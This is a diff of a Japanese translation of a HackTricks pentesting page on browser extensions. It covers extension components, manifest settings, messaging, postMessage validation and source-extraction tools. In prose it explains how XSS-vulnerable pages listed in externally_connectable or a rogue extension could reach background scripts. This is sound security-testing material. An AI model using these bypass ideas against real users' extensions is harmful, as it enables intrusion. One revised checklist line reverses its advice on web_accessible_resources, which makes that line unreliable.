@@ -6,45 +6,45 @@ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。 +* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
## 基本情報 -ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。それは自身の[DOM](https://www.w3schools.com/js/js\_htmldom.asp)を持ちながら他のサイトのDOMとやり取りすることができます。これは他のサイトの機密性、整合性、可用性(CIA)を危険にさらす可能性があります。 +ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。それは自身の[DOM](https://www.w3schools.com/js/js\_htmldom.asp)を持っていますが、他のサイトのDOMとやり取りすることができます。これは他のサイトの機密性、整合性、可用性(CIA)を危険にさらす可能性があります。 ## 主要コンポーネント 拡張機能のレイアウトは視覚化された際に最も見栄えがよく、3つのコンポーネントで構成されています。それぞれのコンポーネントを詳しく見てみましょう。 -

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

+

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

### **コンテンツスクリプト** -各コンテンツスクリプトは**単一のWebページ**のDOMに直接アクセスし、**潜在的に悪意のある入力**にさらされます。ただし、コンテンツスクリプトには、拡張機能コアにメッセージを送信する権限以外はありません。 +各コンテンツスクリプトは**単一のWebページ**のDOMに直接アクセスでき、したがって**潜在的に悪意のある入力**にさらされます。ただし、コンテンツスクリプトには、拡張機能コアにメッセージを送信する権限以外はありません。 ### **拡張機能コア** -拡張機能コアには、拡張機能のほとんどの権限/アクセスが含まれていますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してのみWebコンテンツとやり取りできます。また、拡張機能コアはホストマシンに直接アクセスする権限を持っていません。 +拡張機能コアには、拡張機能のほとんどの権限/アクセスが含まれていますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してWebコンテンツとのやり取りができます。また、拡張機能コアはホストマシンに直接アクセスする権限はありません。 ### **ネイティブバイナリ** -拡張機能には、ユーザーの完全な権限を持つホストマシンにアクセスできるネイティブバイナリが含まれています。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscapeプラグインアプリケーションプログラミングインターフェース([NPAPI](https://en.wikipedia.org/wiki/NPAPI))を介して拡張機能コアとやり取りします。 +拡張機能には、ユーザーの完全な権限を持つホストマシンにアクセスできるネイティブバイナリが含まれています。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscape Plugin Application Programming Interface([NPAPI](https://en.wikipedia.org/wiki/NPAPI))を介して拡張機能コアとやり取りします。 ### 境界 {% hint style="danger" %} -ユーザーの完全な権限を取得するには、攻撃者はコンテンツスクリプトから拡張機能コアへの悪意のある入力、および拡張機能コアからネイティブバイナリへの悪意のある入力を渡すように拡張機能を説得する必要があります。 +ユーザーの完全な権限を取得するには、攻撃者はコンテンツスクリプトから拡張機能コアに、そして拡張機能コアからネイティブバイナリに悪意のある入力を渡すように拡張機能を説得する必要があります。 {% endhint %} 拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスには利用できない**サンドボックスプロセス**で実行されます。 -さらに、コンテンツスクリプトは**別々のJavaScriptヒープ**で実行され、関連するWebページから分離されます。コンテンツスクリプトとWebページは**同じ基本的なDOMにアクセス**できますが、2つは**JavaScriptポインタを交換せず**、JavaScript機能の漏洩を防ぎます。 +さらに、コンテンツスクリプトは**別々のJavaScriptヒープ**で実行され、関連するWebページから分離されます。コンテンツスクリプトとWebページは**同じ基礎となるDOMにアクセス**できますが、2つは**JavaScriptポインタを交換することはなく**、JavaScript機能の漏洩を防ぎます。 ## **`manifest.json`** @@ -83,7 +83,7 @@ Chrome拡張機能は、[.crxファイル拡張子](https://www.lifewire.com/crx ``` ### `content_scripts` -コンテンツスクリプトは、ユーザーが一致するページに移動するたびに**ロードされます**。この場合、**`https://example.com/*`**式に一致するページと**`*://*/*/business*`**正規表現に一致しないページです。これらはページ自体のスクリプトのように**実行され**、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に任意アクセスできます。 +コンテンツスクリプトは、ユーザーが一致するページに移動するたびに**ロードされます**。この場合、**`https://example.com/*`**と一致するページおよび**`*://*/*/business*`**と一致しないページです。これらはページ自体のスクリプトのように実行され、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に任意アクセスできます。 ```json "content_scripts": [ { @@ -113,18 +113,18 @@ chrome.runtime.sendMessage("explain"); document.body.appendChild(div); }); ``` -
+
このボタンがクリックされると、コンテンツスクリプトによって拡張機能ページにメッセージが送信されます。これは、`storage`が例外の中にあるAPIに直接アクセスできないというコンテンツスクリプトの制限によるものです。これらの例外を超えた機能については、コンテンツスクリプトが通信できる拡張機能ページにメッセージが送信されます。 {% hint style="warning" %} -ブラウザによっては、コンテンツスクリプトの機能がわずかに異なる場合があります。Chromiumベースのブラウザでは、[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities)に機能リストがあり、Firefoxでは[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis)が主要な情報源となります。\ -また、コンテンツスクリプトはバックグラウンドスクリプトと通信する能力を持っており、アクションを実行して応答を返すことができます。 +ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザでは、機能のリストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities)で利用可能であり、Firefoxでは[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis)が主要な情報源となります。\ +また、コンテンツスクリプトはバックグラウンドスクリプトと通信する能力を持ち、アクションを実行し、応答を返すことができます。 {% endhint %} Chromeでコンテンツスクリプトを表示およびデバッグするには、Chromeデベロッパーツールメニューにアクセスします。オプション > その他のツール > 開発者ツールを選択するか、Ctrl + Shift + Iを押します。 -デベロッパーツールが表示されたら、**Sourceタブ**をクリックし、**Content Scriptsタブ**をクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。 +デベロッパーツールが表示されたら、**Sourceタブ**をクリックし、次に**Content Scriptsタブ**をクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。 ### 注入されたコンテンツスクリプト @@ -132,7 +132,7 @@ Chromeでコンテンツスクリプトを表示およびデバッグするに **コンテンツスクリプトは必須ではない**ことに注意してください。**動的にスクリプトを注入**したり、**`tabs.executeScript`**を使用してウェブページに**プログラム的に注入**することも可能です。これにより、より**細かい制御**が可能になります。 {% endhint %} -コンテンツスクリプトをプログラム的に注入するには、スクリプトを注入するページに対して[ホスト権限](https://developer.chrome.com/docs/extensions/reference/permissions)が必要です。これらの権限は、拡張機能のマニフェスト内でそれらを要求するか、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)を介して一時的にセキュリティを確保することができます。 +コンテンツスクリプトをプログラム的に注入するには、スクリプトを注入するページに対して[ホスト権限](https://developer.chrome.com/docs/extensions/reference/permissions)が拡張機能に必要です。これらの権限は、拡張機能のマニフェスト内でそれらを要求するか、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)を介して一時的にセキュリティを確保することができます。 #### activeTabベースの拡張機能の例 @@ -201,7 +201,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" }); 可能な値は次のとおりです: -- **`document_idle`**:可能な限り +- **`document_idle`**:可能な限りすぐに - **`document_start`**:`css`からのファイルの後、ただし他のDOMが構築される前や他のスクリプトが実行される前に - **`document_end`**:DOMが完全になった直後、ただし画像やフレームなどのサブリソースが読み込まれる前 @@ -232,19 +232,19 @@ js : [ "contentScript.js" ], ``` ### `バックグラウンド` -コンテンツスクリプトによって送信されるメッセージは、**バックグラウンドページ**によって受信されます。このページは、拡張機能のコンポーネントを調整する中心的な役割を果たします。特筆すべきは、バックグラウンドページが拡張機能の寿命全体にわたって持続し、直接的なユーザーとのやり取りなしに静かに動作します。独自のDocument Object Model(DOM)を持ち、複雑な相互作用や状態管理を可能にします。 +コンテンツスクリプトによって送信されるメッセージは、**バックグラウンドページ**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特筆すべきは、バックグラウンドページが拡張機能の寿命全体にわたって持続し、直接的なユーザーとのやり取りなしで静かに動作します。独自のDocument Object Model(DOM)を持ち、複雑な相互作用や状態管理を可能にします。 **主なポイント**: -* **バックグラウンドページの役割:** 拡張機能の中心部として機能し、拡張機能のさまざまな部分の間での通信と調整を確実にします。 +* **バックグラウンドページの役割:** 拡張機能の中で通信と調整を確実にする神経中枢として機能します。 * **持続性:** ユーザーには見えないが、拡張機能の機能性には不可欠な、常に存在するエンティティです。 * **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にバックグラウンドページを作成します。この自動生成されたページには、拡張機能のマニフェストで指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな動作を保証します。 {% hint style="success" %} -ブラウザがバックグラウンドページを自動的に生成することで(明示的に宣言されていない場合)、必要なすべてのバックグラウンドスクリプトが統合され、操作されることが保証され、拡張機能のセットアッププロセスが合理化されます。 +ブラウザがバックグラウンドページを自動生成することで(明示的に宣言されていない場合)、必要なすべてのバックグラウンドスクリプトが統合され、操作されることで、拡張機能のセットアッププロセスが合理化されます。 {% endhint %} -例: バックグラウンドスクリプト: +バックグラウンドスクリプトの例: ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { @@ -268,7 +268,7 @@ Browser extensions can contain various kinds of pages: * Pages that the extension will **load in a new tab**. * **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking: -
+
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page: @@ -295,7 +295,7 @@ The default setting for browser extension pages is rather restrictive: ```bash script-src 'self'; object-src 'self'; ``` -以下は、CSPおよび潜在的なバイパスに関する詳細情報を確認してください: +CSPと潜在的なバイパスに関する詳細は、以下をチェックしてください: {% content-ref url="../content-security-policy-csp-bypass/" %} [content-security-policy-csp-bypass](../content-security-policy-csp-bypass/) @@ -303,7 +303,7 @@ script-src 'self'; object-src 'self'; ### `web_accessible_resources` -ウェブページがブラウザ拡張機能のページ(例:`.html`ページ)にアクセスするためには、このページを`manifest.json`の**`web_accessible_resources`**フィールドに記載する必要があります。\ +ウェブページがブラウザ拡張機能のページ(例:`.html`ページ)にアクセスするためには、このページを`manifest.json`の**`web_accessible_resources`**フィールドに記述する必要があります。\ 例: ```javascript { @@ -321,17 +321,17 @@ script-src 'self'; object-src 'self'; ... } ``` -これらのページは次のようなURLでアクセスできます: +これらのページは次のようなURLでアクセス可能です: ``` chrome-extension:///message.html ``` 公開拡張機能では、**extension-id がアクセス可能**です: -
+
ただし、`manifest.json` パラメータ **`use_dynamic_url`** が使用されている場合、この **id は動的になる**可能性があります。 -これらのページにアクセスできるようにすると、これらのページは **潜在的に ClickJacking の脆弱性**を持つことがあります: +これらのページにアクセスできるようにすると、これらのページは **潜在的に ClickJacking の脆弱性**を持つことになります: {% content-ref url="browext-clickjacking.md" %} [browext-clickjacking.md](browext-clickjacking.md) @@ -347,22 +347,22 @@ chrome-extension:///message.html * 拡張機能のマニフェストに **`externally_connectable`** キーが宣言されていないか、**`"ids": ["*"]`** と宣言されている場合、**すべての拡張機能が接続できますが、Web ページは接続できません**。 * `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]` のように **特定の ID が指定**されている場合、**それらのアプリケーションのみ**が接続できます。 -* **一致**が指定されている場合、それらの Web アプリが接続できます: +* 一致するものが指定されている場合、それらの Web アプリケーションが接続できます: ```json "matches": [ "https://*.google.com/*", "*://*.chromium.org/*", ``` -* もし空で指定されている場合: **`"externally_connectable": {}`**、どのアプリやウェブも接続できなくなります。 +* もし**`"externally_connectable": {}`**として指定されている場合、どのアプリやウェブサイトも接続できません。 -ここで示されている**拡張機能やURLが少ない**ほど、**攻撃面が小さく**なります。 +ここで示されている**拡張機能やURLが少ないほど**、**攻撃面が小さく**なります。 {% hint style="danger" %} -もし**XSSに対して脆弱なウェブページ**が**`externally_connectable`**で示されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**することができ、Content ScriptとそのCSPを完全にバイパスできます。 +もし**`externally_connectable`**で**XSSに対して脆弱なウェブページ**が示されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**することができ、Content ScriptとそのCSPを完全にバイパスできます。 したがって、これは**非常に強力なバイパス**です。 -さらに、クライアントが不正な拡張機能をインストールした場合、脆弱な拡張機能との通信が許可されていなくても、許可されたウェブページに**XSSデータを注入**したり、**`WebRequest`**や**`DeclarativeNetRequest`** APIを悪用して対象ドメインのリクエストを操作し、ページのリクエストを**JavaScriptファイル**に変更する可能性があります(対象ページのCSPがこれらの攻撃を防ぐことができることに注意してください)。このアイデアは[**この解説から来ています**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。 +さらに、クライアントが不正な拡張機能をインストールした場合、脆弱な拡張機能との通信が許可されていなくても、許可されたウェブページに**XSSデータを注入**したり、**`WebRequest`**や**`DeclarativeNetRequest`**のAPIを悪用して対象ドメインのリクエストを操作し、ページの**JavaScriptファイル**のリクエストを変更する可能性があります(対象ページのCSPがこれらの攻撃を防ぐことができることに注意してください)。このアイデアは[**この解説から来ています**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。 {% endhint %} ## @@ -400,15 +400,15 @@ window.postMessage( ``` {% endcode %} -セキュアなPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下の方法で行うことができます: +セキュアなPost Message通信は、受信したメッセージの信頼性をチェックする必要があります。これは以下の方法で行うことができます: -* **`event.isTrusted`**: この値は、イベントがユーザーのアクションによってトリガーされた場合にのみTrueです。 -* コンテンツスクリプトは、ユーザーが特定のアクションを実行した場合にのみメッセージを期待するかもしれません。 -* **origin domain**: メッセージを期待するのは特定のドメインのみかもしれません。 -* 正規表現を使用する場合は非常に注意してください。 -* **Source**: `received_message.source !== window` は、Content Scriptがリスニングしている **同じウィンドウからのメッセージ** かどうかをチェックするために使用できます。 +- **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合にのみTrueです。 +- コンテンツスクリプトは、ユーザーが特定のアクションを実行した場合にのみメッセージを期待するかもしれません。 +- **オリジンドメイン**: メッセージを期待するのは特定のドメインのみかもしれません。 +- 正規表現が使用されている場合は非常に注意が必要です。 +- **ソース**: `received_message.source !== window` は、Content Scriptがリスニングしているウィンドウと**同じウィンドウからのメッセージ**かどうかをチェックするために使用できます。 -前述のチェックは、実行されていても脆弱性がある可能性があるため、次のページで **潜在的なPost Messageバイパス** をチェックしてください: +前述のチェックは、実行されていても脆弱性がある可能性があるため、次のページで**潜在的なPost Messageバイパス**をチェックしてください: {% content-ref url="../postmessage-vulnerabilities/" %} [postmessage-vulnerabilities](../postmessage-vulnerabilities/) @@ -416,7 +416,7 @@ window.postMessage( ### Iframe -もう1つの通信方法は **Iframe URLs** を介したものです。例は以下で見つけることができます: +別の通信方法として、**Iframe URL**を介して通信する方法があります。例は以下で見つけることができます: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -424,9 +424,9 @@ window.postMessage( ### DOM -これは「正確には」通信方法ではありませんが、**webとコンテンツスクリプトはweb DOMにアクセスできます**。したがって、**コンテンツスクリプト** がそれから情報を読み取っている場合、**web DOMを信頼**していると、webはこのデータを **変更** できる可能性があります(webは信頼されていないか、XSSの脆弱性があるため)そして **Content Scriptを危険にさらす** ことができます。 +これは「正確には」通信方法ではありませんが、**webとコンテンツスクリプトはweb DOMにアクセス**できます。したがって、**コンテンツスクリプト**がそれから情報を読み取っている場合、**web DOMを信頼**している場合、webはこのデータを**変更**できる可能性があります(webは信頼されていないか、XSSの脆弱性があるため)そして**Content Scriptを危険にさらす**可能性があります。 -**ブラウザ拡張機能を危険にさらすDOMベースのXSSの例** も以下で見つけることができます: +**ブラウザ拡張機能を危険にさらすDOMベースのXSSの例**も以下で見つけることができます: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -434,21 +434,21 @@ window.postMessage( ## メモリ/コード内の機密情報 -ブラウザ拡張機能が **機密情報をそのメモリ内に保存** している場合、これは(特にWindowsマシンでは) **ダンプ** され、この情報を検索される可能性があります。 +ブラウザ拡張機能が**機密情報をそのメモリ内に保存**している場合、これは(特にWindowsマシンでは)**ダンプ**され、この情報を検索される可能性があります。 -したがって、ブラウザ拡張機能のメモリは **安全ではない** と見なすべきであり、資格情報やニーモニックフレーズなどの **機密情報は保存されてはいけません**。 +したがって、ブラウザ拡張機能のメモリは**安全ではない**と見なすべきであり、資格情報やニーモニックフレーズなどの**機密情報は保存されてはいけません**。 -もちろん、 **コード内に機密情報を入れない** ようにしてください。それは **公開** されてしまいます。 +もちろん、**コード内に機密情報を入れない**でください、それは**公開**されることになります。 -ブラウザからメモリをダンプするには、 **プロセスメモリをダンプ** するか、ブラウザ拡張機能の **設定** に移動して **`Inspect pop-up`** をクリック -> **`Memory`** セクションで **`Take a snaphost`** をクリックし、スナップショット内で機密情報を検索するために **`CTRL+F`** を使用できます。 +ブラウザからメモリをダンプするには、**プロセスメモリをダンプ**するか、ブラウザ拡張機能の**設定**に移動して**`Inspect pop-up`**をクリック -> **`Memory`**セクションで**`Take a snaphost`**をクリックし、スナップショット内で機密情報を検索するために**`CTRL+F`**を使用できます。 -## Content Script **↔︎** Background Script Communication +## コンテンツスクリプト **↔︎** バックグラウンドスクリプト間の通信 -Content Scriptは、[**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **または** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 関数を使用して **一度だけのJSONシリアライズ可能な** メッセージを送信できます。 +コンテンツスクリプトは、[**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **または** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 関数を使用して**ワンタイムのJSONシリアライズ可能な**メッセージを送信できます。 -**応答** を処理するには、返された **Promise** を使用します。ただし、後方互換性のために、最後の引数として **コールバック** を渡すこともできます。 +**応答**を処理するには、返された**Promise**を使用します。ただし、後方互換性のために、最後の引数として**コールバック**を渡すこともできます。 -**コンテンツスクリプト** からリクエストを送信する方法は次のようになります: +**コンテンツスクリプト**からリクエストを送信する方法は次のようになります: ```javascript (async () => { const response = await chrome.runtime.sendMessage({greeting: "hello"}); @@ -456,7 +456,7 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"}); console.log(response); })(); ``` -**拡張機能**(通常は**バックグラウンドスクリプト**)からリクエストを送信します。コンテンツスクリプトは、指定したタブに送信する必要があります。選択したタブのコンテンツスクリプトにメッセージを送信する方法の例: +**拡張機能**(通常は**バックグラウンドスクリプト**)からリクエストを送信します。コンテンツスクリプトは関数を使用できますが、送信先のタブを指定する必要があります。選択したタブのコンテンツスクリプトにメッセージを送信する方法の例: ```javascript // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script (async () => { @@ -479,11 +479,11 @@ sendResponse({farewell: "goodbye"}); } ); ``` -例で強調されているように、**`sendResponse()`** は同期的に実行されました。`sendResponse()` を非同期で実行するために `onMessage` イベントハンドラを変更するには、`return true;` を組み込むことが重要です。 +例で強調されているように、**`sendResponse()`** は同期的に実行されました。`sendResponse()` を非同期に実行するために `onMessage` イベントハンドラを変更するには、`return true;` を組み込むことが重要です。 重要な考慮事項として、複数のページが `onMessage` イベントを受信するように設定されているシナリオでは、特定のイベントに対して最初に `sendResponse()` を実行するページだけが効果的に応答を提供できます。同じイベントへの後続の応答は考慮されません。 -新しい拡張機能を作成する際は、コールバックではなくプロミスを使用することが好ましいです。コールバックの使用に関しては、`sendResponse()` 関数は、同期的なコンテキスト内で直接実行される場合、またはイベントハンドラが非同期操作を示す場合にのみ有効と見なされます。ハンドラのいずれも `true` を返さない場合や、`sendResponse()` 関数がメモリから削除された場合(ガベージコレクトされた場合)、`sendMessage()` 関数に関連付けられたコールバックがデフォルトでトリガーされます。 +新しい拡張機能を作成する際には、コールバックではなくプロミスを使用することが好ましいです。コールバックの使用に関しては、`sendResponse()` 関数は、同期的なコンテキスト内で直接実行される場合、またはイベントハンドラが非同期操作を示すために `true` を返す場合にのみ有効と見なされます。ハンドラのいずれも `true` を返さない場合や、`sendResponse()` 関数がメモリから削除された場合(ガベージコレクションされた場合)、`sendMessage()` 関数に関連付けられたコールバックがデフォルトでトリガーされます。 ## ブラウザでの拡張機能の読み込み @@ -497,12 +497,12 @@ sendResponse({farewell: "goodbye"}); Chrome 拡張機能のソースコードはさまざまな方法で取得できます。以下に各オプションの詳細な説明と手順を示します。 -### コマンドラインを使用して ZIP ファイルとして拡張機能をダウンロード +### コマンドラインを使用して ZIP 形式で拡張機能をダウンロード -Chrome 拡張機能のソースコードは、コマンドラインを使用して ZIP ファイルとしてダウンロードできます。これには、`curl` を使用して特定の URL から ZIP ファイルを取得し、その後 ZIP ファイルの内容をディレクトリに展開する必要があります。以下に手順を示します: +Chrome 拡張機能のソースコードは、コマンドラインを使用して ZIP ファイルとしてダウンロードすることができます。これには、`curl` を使用して特定の URL から ZIP ファイルを取得し、その後 ZIP ファイルの内容をディレクトリに展開する必要があります。以下は手順です: 1. `"extension_id"` を実際の拡張機能の ID に置き換えます。 -2. 次のコマンドを実行します: +2. 次のコマンドを実行します: ```bash extension_id=your_extension_id # Replace with the actual extension ID curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" @@ -520,18 +520,18 @@ unzip -d "$extension_id-source" "$extension_id.zip" ローカルにインストールされた Chrome 拡張機能も検査できます。以下の手順に従います: -1. `chrome://version/` にアクセスして "Profile Path" フィールドを見つけて Chrome のローカルプロファイルディレクトリにアクセスします。 +1. `chrome://version/` にアクセスして "Profile Path" フィールドを見つけ、Chrome のローカルプロファイルディレクトリにアクセスします。 2. プロファイルディレクトリ内の `Extensions/` サブフォルダに移動します。 3. このフォルダには、通常、読みやすい形式でソースコードが含まれているすべてのインストールされた拡張機能が含まれています。 拡張機能を識別するために、それらの ID を名前にマッピングできます: * `about:extensions` ページで「開発者モード」を有効にして、各拡張機能の ID を表示します。 -* 各拡張機能のフォルダ内にある `manifest.json` ファイルには、識別するのに役立つ読みやすい `name` フィールドが含まれています。 +* 各拡張機能のフォルダ内にある `manifest.json` ファイルには、拡張機能を識別するのに役立つ読みやすい `name` フィールドが含まれています。 ### ファイルアーカイバまたはアンパッカーを使用する -Chrome Web ストアに移動して拡張機能をダウンロードします。ファイルの拡張子は `.crx` になります。ファイルの拡張子を `.crx` から `.zip` に変更します。任意のファイルアーカイバ(WinRAR、7-Zip など)を使用して、ZIP ファイルの内容を抽出します。 +Chrome Web ストアに移動して、拡張機能をダウンロードします。ファイルの拡張子は `.crx` になります。ファイルの拡張子を `.crx` から `.zip` に変更します。任意のファイルアーカイバ(WinRAR、7-Zip など)を使用して、ZIP ファイルの内容を抽出します。 ### Chrome で開発者モードを使用する @@ -545,13 +545,13 @@ Chrome を開いて `chrome://extensions/` に移動します。右上の「開 * [ ] **`host_permissions` をできるだけ制限する** * **`content_security_policy` を強化する** * [ ] **`externally_connectable` をできるだけ制限する**。必要がない場合はデフォルトで残さず、`{}` を指定します。 -* [ ] ここで **XSS に対して脆弱な URL** が言及されている場合、攻撃者は **バックグラウンドスクリプトに直接メッセージを送信** できます。非常に強力なバイパスです。 +* [ ] ここで **XSS または乗っ取りに脆弱な URL** が言及されている場合、攻撃者は **バックグラウンドスクリプトに直接メッセージを送信** できます。非常に強力なバイパスです。 * [ ] **`web_accessible_resources` をできるだけ制限する**。可能であれば空にしても構いません。 -* [ ] もし **`web_accessible_resources` が空でない場合は、[**ClickJacking**](browext-clickjacking.md) をチェックします** +* [ ] もし **`web_accessible_resources`** がない場合は、[**ClickJacking**](browext-clickjacking.md) をチェックします * [ ] 拡張機能からウェブページへの **通信** が発生する場合、通信によって引き起こされる [**XSS 脆弱性**](browext-xss-example.md) をチェックします。 * [ ] Post Messages が使用されている場合は、[**Post Message 脆弱性**](../postmessage-vulnerabilities/) をチェックします。 -* [ ] **Content Script が DOM 詳細にアクセス**する場合は、それらがウェブによって **変更** された場合に XSS を導入していないことを確認します。 -* [ ] この通信が **Content Script -> Background スクリプトの通信** にも関与している場合は特に注意してください。 +* [ ] **Content Script が DOM 詳細にアクセス** する場合は、それらがウェブによって **変更** されると XSS を導入していないか確認します。 +* [ ] この通信が **Content Script -> バックグラウンドスクリプトの通信** にも関与している場合は、特に注意してください。 * [ ] ブラウザ拡張機能の中に **機密情報を保存** すべきではありません * [ ] ブラウザ拡張機能の中に **機密情報を保存** すべきではありません @@ -559,8 +559,8 @@ Chrome を開いて `chrome://extensions/` に移動します。右上の「開 ### [**Tarnish**](https://thehackerblog.com/tarnish/) -* 提供された Chrome Web ストアのリンクから任意の Chrome 拡張機能を取得します。 -* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューア**:拡張機能のマニフェストの JSON プリティファイされたバージョンを表示します。 +* 提供された Chrome ウェブストアリンクから任意の Chrome 拡張機能を取得します。 +* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューア**:拡張機能のマニフェストの JSON フォーマットバージョンを簡単に表示します。 * **フィンガープリント解析**:[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) の検出および Chrome 拡張機能のフィンガープリント JavaScript の自動生成。 * **潜在的な Clickjacking 解析**:[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) ディレクティブが設定された拡張機能 HTML ページの検出。これらはページの目的に応じて Clickjacking の脆弱性があります。 * **許可警告ビューア**:ユーザーが拡張機能をインストールしようとすると表示されるすべての Chrome 許可プロンプト警告のリストを表示します。 @@ -577,17 +577,17 @@ Chrome を開いて `chrome://extensions/` に移動します。右上の「開 * **既知の脆弱なライブラリ**:[Retire.js](https://retirejs.github.io/retire.js/) を使用して既知の脆弱な JavaScript ライブラリの使用をチェックします。 * 拡張機能とフォーマットされたバージョンをダウンロードします。 * オリジナルの拡張機能をダウンロードします。 -* 拡張機能の美しく整形されたバージョンをダウンロードします(自動整形された HTML および JavaScript)。 +* 拡張機能の整形されたバージョンをダウンロードします(自動整形された HTML および JavaScript)。 * スキャン結果の自動キャッシュ化。拡張機能のスキャンを実行すると、最初の実行にはかなりの時間がかかります。ただし、2回目以降は、拡張機能が更新されていない限り、結果がキャッシュされているため、ほぼ即座に実行されます。 * レポートの URL をリンクできるようにし、Tarnish によって生成された拡張機能レポートを他の人に簡単にリンクできるようにします。 ### [Neto](https://github.com/elevenpaths/neto) -Project Neto は、Firefox や Chrome などの一般的なブラウザ用のプラグインや拡張機能の隠れた機能を分析および解明するために考案された Python 3 パッケージです。このパッケージは、パッケージ化されたファイルを解凍して、`manifest.json`、ローカライゼーションフォルダ、JavaScript、および HTML ソースファイルからこれらの機能を抽出するプロセスを自動化します。 +Project Neto は、Firefox や Chrome などの一般的なブラウザ用のプラグインや拡張機能の隠れた機能を分析および解明するために設計された Python 3 パッケージです。このパッケージは、パッケージ化されたファイルを解凍して、`manifest.json`、ローカライゼーションフォルダ、JavaScript、HTML ソースファイルなどの関連リソースからこれらの機能を抽出するプロセスを自動化します。 ## 参考文献 -* この方法論に関する支援に感謝します [**@naivenom**](https://twitter.com/naivenom) +* この方法論の支援に感謝します [**@naivenom**](https://twitter.com/naivenom) * [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) * 